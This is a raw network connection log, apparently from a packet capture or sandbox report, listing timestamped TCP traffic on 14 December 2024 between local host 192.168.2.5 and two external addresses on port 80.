Dec 14, 2024 14:56:27.925820112 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.926779032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.926862001 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.926892996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.927892923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.927963018 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.928018093 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.928070068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.929029942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.929080009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.929147959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.929203033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.930109024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.930162907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.930181026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.930217981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.931225061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.931305885 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.931340933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.931391954 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.932333946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.932415009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.932498932 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.932550907 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.933471918 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.933528900 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.933551073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.933604002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.934551001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.934604883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.934621096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.934653044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.935671091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.935722113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.935806990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.935854912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.936809063 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.936924934 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.936975002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.937875986 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.937932014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.938002110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.938052893 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.939006090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.939054012 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.939193964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.939243078 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.940138102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.940203905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.940233946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.940279961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.941266060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.941417933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.941466093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.942631006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.942689896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.942770958 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.943244934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.943794966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.943845987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.943850040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.943912983 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.944653034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.944722891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.944781065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.944833994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.945727110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.945844889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.945849895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.945894957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.946805000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.946881056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.946965933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.947948933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.947997093 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.948041916 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.948086023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.949047089 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.949100971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.949177027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.949218035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.950166941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.950242996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.950319052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.950489044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.951256990 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.951309919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.951365948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.951390982 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.952379942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.952503920 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.952555895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.953517914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.953594923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.953644991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.954633951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.954679966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.954685926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.954730988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.955718040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.955761909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.955841064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.955883026 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.956842899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.956897020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.956945896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.957952023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.958064079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.958076000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.958117962 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.959059000 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.959134102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.959192991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.959252119 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.960175991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.960220098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.960295916 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.960339069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.961313963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.961424112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.961479902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.962454081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.962513924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.962554932 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.962600946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.963562012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.963604927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.963680029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.963718891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.964632034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.964770079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.964821100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.965744019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.965791941 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.965867043 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.965910912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.966867924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.967015982 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.967073917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.968004942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.968049049 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.968122005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.968163967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.969158888 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.969194889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.969202995 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.969234943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.970413923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.970457077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.970535040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.970578909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.971342087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.971381903 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.971394062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.971440077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.971657038 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:27.971787930 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:27.971967936 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:27.972460985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.972522974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.972647905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.972698927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.973619938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.973706961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.973753929 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.975786924 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.052603960 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.052664995 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.052706957 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.056771040 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.056826115 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.056847095 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.065143108 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.065363884 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.068190098 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.068315983 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.068376064 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.076618910 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.076746941 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.076839924 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.084979057 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.085134029 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.085242033 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.093368053 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.093538046 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.093862057 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.101886988 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.102112055 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.102545977 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.108057022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.108114004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.108129025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.108165979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.108423948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.108659029 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.108674049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.108717918 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.108905077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.108952045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.109767914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.109811068 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.109880924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.110141993 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.110187054 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.110250950 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.110492945 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.110873938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.111037016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.111084938 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.112010956 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.112056971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.112123966 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.112169027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.113147020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.113188982 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.113270044 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.113313913 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.114264965 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.114306927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.114372015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.114413977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.115380049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.115474939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.115524054 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.116480112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.116529942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.116604090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.116648912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.117578983 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.117645025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.117686987 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.117729902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.118516922 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.118648052 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.118700981 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.118714094 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.118736029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.118745089 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.118779898 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.119874954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.119918108 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.119926929 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.119971037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.120937109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.120979071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.121052980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.121093988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.122128963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.122257948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.122303009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.123266935 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.123394012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.123442888 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.124290943 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.124362946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.124398947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.124449968 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.125360012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.125406027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.125480890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.125526905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.126483917 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.126539946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.126600027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.126645088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.126914024 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.127049923 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:28.127109051 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:28.127588034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.127643108 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.127717972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.127763987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.128726006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.128802061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.128875971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.128926992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.129821062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.129875898 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.129913092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.130949974 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.130996943 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.131050110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.131089926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.132019997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.132148027 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.132194042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.133191109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.133250952 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.133327961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.133524895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.134273052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.134316921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.134438038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.134501934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.135365963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.135407925 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.135468960 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.135519981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.136476040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.136517048 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.136590004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.136673927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.137623072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.137716055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.137751102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.138767004 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.138823986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.138847113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.138890028 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.139854908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.139910936 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.139959097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.140017986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.140938997 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.140991926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.141030073 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.141127110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.142062902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.142165899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.142209053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.143183947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.143239975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.143269062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.143306971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.144301891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.144388914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.144423962 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.145396948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.145446062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.145509005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.145549059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.146521091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.146569014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.146639109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.146681070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.147623062 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.147660971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.147691011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:28.147732973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:28.148731947 CET	80	49876	31.41.244.11	192.168.2.5
